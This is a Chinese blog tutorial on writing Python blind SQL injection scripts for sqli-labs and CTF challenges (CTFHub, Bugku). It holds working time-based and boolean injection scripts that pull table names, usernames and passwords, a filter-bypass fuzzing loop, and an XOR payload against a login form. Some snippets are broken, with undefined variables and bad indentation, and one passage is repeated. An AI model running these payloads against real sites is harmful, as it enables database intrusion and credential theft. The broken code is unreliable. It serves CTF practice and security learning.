sql盲注脚本编写

最新推荐文章于 2024-04-30 21:19:09 发布
最新推荐文章于 2024-04-30 21:19:09 发布
阅读量1k 收藏 15
点赞数 2
分类专栏： SQLI 文章标签： python
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_46436640/article/details/119295539
版权

因为下学期要学python，又因为自己的python和编程能力实在是太弱了，所以想来学学python脚本编写的应用，就以sqli-labs里面的布尔盲注、时间盲注作为例子，来一步一步学习编写脚本

文章目录

Requests库

写脚本注入的时候，用的最多的库就是requests库了，顺便学习一下它8！它可以在python中发出一个标准的HTTP请求。可以基本完全满足HTTP测试需求

安装库

pip install requests

导入库

import requests

请求(Request)

params:
url – URL for the new :class:`Request` object.
params – (optional) Dictionary, list of tuples or bytes to send in the query string for the :class:`Request`.


import requests

url = "url = "http://127.0.0.1/sqllib/Less-1/"" #想要访问的url
r0 = request.get(url)  #发送一个GET请求，返回值是一个Response的实例
print(r0)	#打印状态信息

#也可以用get方式传递参数，参数可以以字符串、元组、字典等方式提交
data = {'id':1}
r1 = request.get(url, data)
print(r1)

响应(Response)

因为刚才已经返回了一个Response的实例，现在就可以调用其来查看有关于GET请求结果的全部信息。

响应码

可以调用.status_code，可以返回状态码。可以用状态码来做一些判断。

200 OK

404 Not Found

import requests

url = "url = "http://127.0.0.1/sqllib/Less-1/""
r = requests.get(url)  

code = r.status_code

if code == 200:
    print("Success!")
elif code == 404:
    print("Not Found!")
 
#当然也可以在条件表达式直接用Response实例 ，那么200-400 == True，其它为False

'''
if r:
    print("Success!")
else:
    print("Not Found!") 
'''

下图是分别运用上述两种情况产生的结果

image-20210729113313231

​ 图1 使用status_code和

​ 直接使用resonse实例作

​ 为条件表达式

响应内容

import requests

url = "http://127.0.0.1/Less-1" #专门找一个404的页面，方便查看响应内容

parms = {'id':'1'}
r = requests.get(url, parms)

text = r.text
content = r.content
json = r.json

#查询当前页面是什么编码，可以修改为自己想要的编码
print("Your encoding is:"+r.encoding)
#修改当前编码为UTF-8
r.encoding = 'utf-8'
print("The current encodingis:"+r.encoding)
#经过自动解码以后的响应内容
print(text)
#二进制响应内容
print(content)
#json内容
print(json)

image-20210729115452260

​ 图2 编码修改前后

image-20210729115545326

​ 图3 text响应内容

image-20210729115738019

​ 图4 content响应内容

									       图5 json响应内容

响应头部

import requests

url = "http://127.0.0.1/Less-1" #专门找一个404的页面，方便查看响应内容

parms = {'id':'1'}
r = requests.get(url, parms)

print(r.headers)

#也可以在get请求中自定义头部信息,用字典的形式传递参数即可
'''
eg:
header = {'user-agent':'my_test/0001'}
result = requests.get("https://api.github.com/events",headers=header)
'''

image-20210729120251196

										    图6 header头部信息

requests库的基本内容大致就这么多，剩下的通过编写一些脚本来进行学习

时间盲注

eg:Less-9

#数据库名：security
#数据表名：users
#字段名：username,password

import requests

url = "http://127.0.0.1/sqllib/Less-9/"

def payloadfun(i, j):
    # 分别把想要对字符串截取的第i位和截取字符的ASCII值作为两个参数
    
    #库名
    #sql = "1' and if(ascii(substr(database(),%d,1)) = %d, sleep(3), 1) -- " % (i, j)
    #表名
    sql = "1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d,sleep(3),1) -- "% (i, j)
    #字段名
    # sql = "1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'),%d,1))=%d,sleep(3),1)-- "% (i, j)
    #字段值
    # sql = "1' and if(ascii(substr((select group_concat(username) from users),%d,1))=%d,sleep(3),1)-- "% (i, j)
    # sql = "1' and if(ascii(substr((select group_concat(password) from users),%d,1))=%d,sleep(3),1)-- "% (i, j)
    
    #写一个字典，作为get的参数
    parms = {'id': sql}
    #发送一个GET请求，且用字典传参
    r = requests.get(url=url, params=parms)
    #判断这个请求的响应时间是否大于2
    if r.elapsed.total_seconds() > 2:
        flag = 1
    else:
        flag = 0
    return flag

def time_bilnd():
    result = ""
    for i in range(1, 100):
        #j从0开始的原因，是为了让函数检查到空白字符就要停止继续检查了，因为开始测试的时候我j是从字母A开始直到z结束的，如果不检查空白，会出现一直循环直到循环100次为止
        j = 0
        while j < 127:
            flag = payloadfun(i, j)
            if flag:
                break
            else:
                j = j + 1
        char = j
         # 如果遇到空白即检查完毕，那么直接跳出循环
        if char == 0:
            break
         #如果出现不可打印字符就直接跳过，因为我没加限制条件测试的时候，可能会出现爆破错误的情况
        elif 1 <= char <= 31:
            continue
        # 将猜解成功的ASCII码转换为字符打印
        result += chr(char)
        print(result)
       
time_bilnd()

测试结果如下

image-20210729220930128

                                      图7 爆破数据库结果

image-20210730105325262

  									 	图8 爆破数据表结果

这个脚本也可以写的更简单一点，就是直接把可能出现的字符列成一个字符串，让 i 和 j 直接在字符串里面寻找，这样就不用把ASCII码表遍历一边，会节省很多时间。

import requests


def bilnd():
    res = ""
    url = "http://127.0.0.1/sqllib/Less-9/"
    dict_char = "0123456789abcdefghijklmnopqrstuvwxyz,!"
    for i in range(1, 100):
        for j in dict_char:
            #以爆破数据库名字为例
            sql = "1' and if((substr(database(),%d,1)) = '%c', sleep(3), 1) -- " % (i, j)
            parms = {'id': sql}
            r = requests.get(url, parms)
            if r.elapsed.total_seconds() > 2:
                char = j
                res += char
                print(res)
                break
        #判断如果库、表、字段名不在字符串里，直接跳出循环
        if j == '!':
            break


bilnd()

布尔盲注

布尔盲注因为只需要判断页面的回显情况是逻辑正确还是逻辑错误即可，不用判断响应时间，实际上与时间盲注类似，只是少了对于响应时间的判断。爆破速度会快很多

eg:Less-5

import requests

url = "http://127.0.0.1/sqllib/Less-5/"
dic = '0123456789abcdefghijklmnopqrstuvwxyz,!'
res = ""

for i in range(1, 100):
    for j in dic:
        #库名
        #sql = "1' and if((substr(database(),%d,1)) = '%c', 1, 0) -- " % (i, j)
        #表名
        #sql = "1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%c',1,0) -- "% (i, j)
        #字段名
        sql = "1' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'),%d,1)='%c',1,0) -- "% (i, j)
        #字段值
        # sql ="1' and if(substr((select group_concat(username) from users),%d,1)= '%c',1,0) -- "% (i, j)
        #sql ="1' and if(substr((select group_concat(password) from users),%d,1)= '%c',1,0) -- "% (i, j)
        parm = {'id': sql}
        r = requests.get(url=url, params=parm)
        # 只要判断逻辑正确的标志出现，即可打印结果
        if "You are in" in r.text:
            res += j
            print(res)
            break
    if j == '!':
        break

fuzz

但在实际做题过程中，题目往往会给我们过滤一些东西，这就需要我们重新构造我们的脚本，用来绕过这些过滤，从而达到注入的目的

一般会过滤

  • and/or
  • 空格
  • 括号
  • 逗号
  • 单引号、双引号
  • 关键查询词（select、union等）
  • 等号
  • 一些重要函数
  • 注释符

所以我们需要找到题目中到底过滤了什么关键字

我们可以用脚本

import requests

fuzz_url = "xxxxx/?id=1"

fuzz_op = ['-', '+', '/*', '*/', '/*!', '.', '%', '%00', '!', '*', '@', '=']
fuzz_ch = ["%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j","%0k","%0l","%0m","%0n","%0o","%0p","%0q","%0r","%0s","%0t","%0u","%0v","%0w","%0x","%0y","%0z"]
fuzz_blank = ['', ' ']
fuzz_quote = ["'"]

fuzz = fuzz_op+fuzz_ch+fuzz_blank+fuzz_quote

header={xxxx}
r = requests.get(url,header)
print(r.text)
for a in fuzz:
    for b in fuzz:
        for c in fuzz:
            for d in fuzz:
                exp = "/*!union" + a + b + c + d + "select*/ 1, 2, 3"
                url = fuzz_url + exp
                res = requests.get(url=url,headers=headers)
                print("Now URL:" + url)
                if xxxxx in res.text:
                    print("Find Fuzz bypass:" + url)
                    with
open(r".\\result.txt", 'a', encoding='utf-8') as r:
    r.write(url+"\n")

也可以使用burp suite自带的intruder模块，将fuzz的字典加载为payload，然后进行攻击即可。

Tips：

在写的时候一直没弄清一个问题，现在弄清楚了，记录一下，在查列名的时候，一定要记得限制数据库，因为在本地搭建环境做习惯了，所以查列的语句一直写成select group_concat(column_name) from information_schema.columns where table_name='users',每次能查正确的原因是，本地环境已经限制了你的数据库为security，所以限制条件加与不加都一样。

image-20210730133200521

​ 图9 sqli-labs的基本配置信息

但是在用脚本跑的时候，因为是发送的是一个HTTP请求，并且服务器并不知道你到底选择的是哪个数据库，就会把所有数据库里的有关信息都报出来，这样就导致出错了。

由下图可见，系统自动把所有数据库中包含users这张表里面的字段全部列出来了。

image-20210730133345621

​ 图10 错误的语句导致的查询结果

应用

我从ctfhub中关于sql注入，作为实际操作的例子吧，因为不涉及到过滤等其它问题，只是单纯的盲注，所以脚本内容其实与sqli-labs的例子一样，只是换汤不换药

首先根据题目要求，发现逻辑正确与否，只有回显内容的不同，所以就可以采用脚本进行跑了

image-20210730173017265

image-20210730173002476

import requests

url = "http://challenge-57a076c2fd4ade88.sandbox.ctfhub.com:10800/"
res = ""
dic ='0123456789abcdefghijklmnopqrstuvwxyz{,}!'

for i in range(1,100):
    for j in dic:
        #sql = "1 and if (substr(database(),%d,1)='%c',1,0)"% (i,j)
        #sql = "1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%c',1,0)"% (i, j)"
        #sql = "1 and if(substr((select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'flag'),%d,1)='%c',1,0)"% (i, j)
        sql = "1 and if(substr((select group_concat(flag) from flag),%d,1)= '%c',1,0)"% (i, j)
        parms={'id':sql}
        r = requests.get(url,parms)
        if 'query_success' in r.text:
            res += j
            print(res)
            break
    if j == '!':
        break

image-20210730174146466

image-20210730174418524

image-20210730174907306

image-20210730175111693

bugku中的sql注入

题目地址：http://114.67.246.176:16590/index.php

首先进去是一个登录界面，我们输入admin&admin发现

题目回显password error

image-20210730202309014

在输入root&root

image-20210730202329567

这样就能大致确定，后台是现对我们的用户名进行匹配，如果匹配成功，才会继续对密码进行确认，所以我们可以在用户名处做文章。

但是经过测试，许多符号都被过滤掉了，包括空格，逗号，等号等

所以我们就要用各种姿势去绕过了，我们可以使用异或注入，即相同为0，不同为1

脚本如下：

import requests

url = "http://114.67.246.176:16590/index.php"
dic = "0123456789abcdefghijklmnopqrstuvwxyz"
result = ""
for i in range(1,100):
    flag = 0
    for j in dic:
        sql = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0 #".format(str(i),ord(j))
        parms = {"username": payload,"password": "123"}
        r = requests.post(url, data)
        if "error" in r.text:
            result += j
            flag = 1
            print(result)
    if flag == 0:
        break

解释一下这个payload,首先因为for和空格被过滤，所以我们mid(xx,xx.xx)这种形式的参数就不行了，mid函数还有一种参数是mid(xxx from 1 for 1)，for可有可无如果没有，就从第一位截取到结尾

image-20210731114358553

image-20210731114622677

首先当ascii()函数传入的参数为字符串的时候，就会返回字符串第一个字符的ascii值,这样就可以绕过for。

image-20210731113642894

比如我们的数据库名字为security，首先用mid函数从第一位截取完全就是 security,在用ascii函数传入因为它的特性，就会返回s的ascii值

同理只更改mid函数的第二个参数为2，即截取为ecurity,传入ascii函数以后就会返回e的ascii值，这样以此类推就可以返回把数据库名字的ascii值爆破出来

image-20210731115209141

所以最后如果判断的字符与我们的给定的ascii值不相等的话（因为判断的是不等号），则执行的是 select * from xxxx where username='admin' ^ 1 ^ 0 #

又因为一个变量与0异或是其本身，与1异或是它的否定，所以这句语句的逻辑为0即错误

这样因为用户名不对，所以就会回显 username does not exist!

而如果判断的字符与给定的ascii值相等的话，则执行的是select * from xxxx where username='admin' ^ 0 ^ 0 #

所以最后的逻辑为真，即会回显 password error！

所以我们根据这个只要，发现页面出现password error！字样即证明猜解正确。

将最后解出来的值，md5解密以后，得到密码登录后台即可得到flag

以后就会返回e的ascii值，这样以此类推就可以返回把数据库名字的ascii值爆破出来

[外链图片转存中…(img-ZrqGKJiI-1627786417298)]

所以最后如果判断的字符与我们的给定的ascii值不相等的话（因为判断的是不等号），则执行的是 select * from xxxx where username='admin' ^ 1 ^ 0 #

又因为一个变量与0异或是其本身，与1异或是它的否定，所以这句语句的逻辑为0即错误

这样因为用户名不对，所以就会回显 username does not exist!

而如果判断的字符与给定的ascii值相等的话，则执行的是select * from xxxx where username='admin' ^ 0 ^ 0 #

所以最后的逻辑为真，即会回显 password error！

所以我们根据这个只要，发现页面出现password error！字样即证明猜解正确。

将最后解出来的值，md5解密以后，得到密码登录后台即可得到flag

image-20210730203357449

丶Maple
关注
  • 2
    点赞
  • 踩
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
sql脚本编写规范
ys_565137671的专栏
06-28 5224
脚本附件文件命名规则?  DDL文件的命名：(客户化信息最好加自己名字。出现过同一个表多个人改动的情况，名字也一样)此次需求序列号（SR号或PIR号）＋执行顺序号＋脚本执行用户＋对象类型缩写＋客户化的信息.sql?  DML文件的命名此次需求序列号（SR号或PIR号）＋执行顺序号＋脚本执行用户＋dml＋客户化的信息.sql?  授权文件的命名此次需求序列号（SR号或PIR号）＋执行
sql盲注之报错注入(附自动化脚本)
xiaoi123的博客
12-29 4743
作者：__LSA__ 0x00 概述 渗透的时候总会首先测试注入，sql注入可以说是web漏洞界的Boss了，稳居owasp第一位，普通的直接回显数据的注入现在几乎绝迹了，绝大多数都是盲注了，此文是盲注系列的第一篇，介绍盲注中的报错注入。 0×01 报错注入原理 其实报错注入有很多种，本文主要介绍几种常见的报错方法，有新姿势后续再更新。 1. Duplicate
SQL注入之盲注（小白的学习）
lgsyydsa的博客
06-04 575
对length列从小到大或者从大到小排列，会发现有一些结果的长度与大部分的长度不同，如果还是不知道可以在下面response的render中会有图显示。所以我们可以通过修改substr中第二个参数来进行判断，但是这样会浪费大量的时间。注意：limit 0,1 表示是第一张表，如果爆出来的表不太像有flag的，可以修改limit 第一个参数，继续爆下一个表名。第一个参数由于不知道表名长度，可以设置为10，第二个参数设置同上，爆破完后将长度进行排序可知表名为flag，这很ctfhub。所以先判断数据库的长度。
Python自动化sql注入：布尔盲注
qq_46145027的博客
04-22 3426
在sql注入时，使用python脚本可以大大提高注入效率，这里演示一下编写python脚本实现布尔盲注的基本流程：演示靶场：sqli-labs。
2024年Python最全Python自动化sql注入：布尔盲注_布尔盲注脚本
最新发布
2301_82244514的博客
04-30 383
将payload与网址进行拼接，使用requests包来访问网站，根据返回页面是否有flag出现来确认是否成功。需要用到requests包来建立连接访问目标地址，根据回显特征进行下一步操作，这里正确标志是"You are in…获取数量（有多少张表）–> 获取每张表表名的长度 --> 获取具体的表名。
SQL盲注及python脚本编写
nobugnomoney的博客
05-18 3466
1、什么是盲注 盲注就是在 sql 注入过程中，sql 语句执行的选择后，选择的数据不能回显 到前端页面。此时，我们需要利用一些方法进行判断或者尝试，这个过程称之为盲注。从 background-1 中，我们可以知道盲注分为三类 基于布尔 SQL 盲注 基于时间的 SQL 盲注 基于报错的 SQL 盲注 0x01.基于布尔 SQL 盲注----------构造逻辑判断 left() ：left(a,b)从左侧截取 a 的前 b 位 accii()：Ascii()将某个字符转换 为 ascii
Kali渗透测试之DVWA系列（四）——使用Burp Suite进行SQL Injection（Blind）（SQL盲注，包括盲注脚本）
weixin_45116657的博客
08-25 4553
目录： 一、SQL盲注 SQL盲注与SQL注入的区别； SQL盲注的过程； 二、实验环境 三、实验过程 基于布尔值的盲注； 基于时间的盲注； 一、SQL盲注简介 1、SQL盲注： 盲注：SQL Injection（Blind），即SQL盲注，目标只会回复是或不是，没有详细内容； 注入：可以查看详细的内容 2、手工盲注思路： 手工盲注的过程，就像你和机器人聊天一样，这个机器人知道的...
SQL盲注之python脚本自动化注入
菜鸟学安全的博客
12-18 1365
sql盲注无法使用sql语句注入，需要大量的判断语句或者延时注入。这样手动注入方式比较慢，手动发现注入点后可以使用python编写脚本注入。
sql盲注检测的简单脚本.zip
03-10
这个"sql盲注检测的简单脚本.zip"压缩包很可能包含了用于检测这种安全问题的脚本工具。 SQL盲注的基本原理是利用Web应用对用户输入数据的不当处理。如果一个应用直接将用户输入的参数拼接到SQL查询中，而没有进行...
结合手工注入编写一个SQL盲注脚本——以SQLi-Labs less16为例.doc
07-09
结合手工注入编写一个SQL盲注脚本——以SQLi-Labs less16为例 本文档主要讲解了如何结合手工注入编写一个SQL盲注脚本，以SQLi-Labs less16为例。整个过程可以分为两部分：分析测试注入点和获取数据库名编写脚本。 ...
布尔盲注python脚本.zip
12-28
2. **Python脚本编写**： - **bool_sql_post.py**：此脚本用于POST方法的布尔盲注。POST方法常用于提交表单数据，攻击者可以通过修改POST请求中的参数来注入恶意SQL。脚本通常会包含HTTP库（如`requests`）来构造和...
SQL盲注攻击的简单介绍
12-14
　(2) 恶意用户输入用来影响被执行的SQL脚本 　根据Chris Anley的定义[2]， 当一个攻击者通过在查询语句中插入一系列的SQL语句来将数据写入到应用程序中，这种方法可以定义成SQL注入。Stephen Kost[3]给出了这种...
SQL注入之基于布尔的盲注详解
09-10
布尔型SQL盲注的关键在于理解和利用服务器对查询结果的反应，通过一系列的逻辑判断和试错，逐步揭示数据库结构和数据。由于其隐秘性和复杂性，这种攻击方法对网站的安全构成了严重的威胁。为了防止布尔型SQL盲注，...
sql盲注python脚本
weixin_48266255的博客
08-29 451
【代码】sql盲注python脚本。
SQL注入布尔盲注
qq_45557130的博客
10-04 747
sql注入布尔盲注
SQL注入入门进阶_报错注入、延时注入、python脚本盲注
菜鸟学安全的博客
01-17 739
本篇文章入门SQL注入，除了回显的SQL注入还存在报错注入、布尔盲注和延时注入。如果sqlmap跑不出来的还可以使用burp intrude注入或者使用python编写脚本注入。
sql注入——时间盲注自动化注入脚本
栉风沐雪的博客
05-14 681
因为最近在学习sql注入，在学到时间盲注这里，发现注入的时候要从asc码33到127都查询一遍，手动注入工作量是在太大，想寻求是否存在什么简便方法，通过查询一些相关的书籍以及资料，将结果汇总如下。但这段代码仍存在很多不足，希望各位师傅指正。
SQL盲注（布尔盲注）
Dug123456_的博客
04-07 1144
flag有固定的格式，以右花括号结束，假设flag有小写英文字母、下划线、花括号构成，由于不知道flag长度，要一个无限循环，定义计数符j，内嵌循环i遍历小写、下划线和花括号，匹配到字符后j++，出循环的条件是当前i是右花括号，即flag结束。再大循环i次（遍历所有表），内嵌循环j次（表名的所有字符），i是表下标-1，j是字符下标，再内嵌循环k从a到z（假设表名全是小写英文字符）尝试获取每个表的表名。1 and length(database())=4 //判断数据库名字的长度是否为4。
SQL注入——布尔盲注 / Python 脚本爆破
weixin_51559599的博客
11-06 996
phpstudy 的数据库交互太慢，改用 xampp，但 xampp 中无数据库 ‘cms’ ，需要将 phpstudy 中的 cms 数据库导入 xampp 中的数据库（phpstudy 和 xampp 使用的不是同一个数据库）页面中有布尔类型的状态，可以根据布尔类型状态，对数据库中的内容进行判断。登录数据库，创建 cms 数据库，进入 cms 数据库，导入数据库。未返回新闻页面，说明数据库名第一个字母不为 “s”可知，当后面的语句为真时，显示新闻页面。多次判断，最后可知数据库名长度为3。
python的sql盲注dvwa
09-23
Python的SQL盲注是指通过构造特定的SQL语句来绕过应用程序的安全机制，并获取未经授权的数据。在DVWA漏洞测试环境中进行SQL盲注，可以使用sqlmap工具。下面是使用sqlmap进行DVWA的SQL盲注的步骤： 1. 首先，确保你已经安装了sqlmap工具并配置好环境。 2. 使用命令行进入到sqlmap工具所在的目录。 3. 输入以下命令，获取数据库dvwa的所有表： ``` python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --tables -D dvwa ``` 4. 输入以下命令，获取数据库表users的所有列： ``` python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --columns -D dvwa -T users ``` 通过以上步骤，你可以使用sqlmap工具进行DVWA的SQL盲注，获取数据库表和列的信息。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值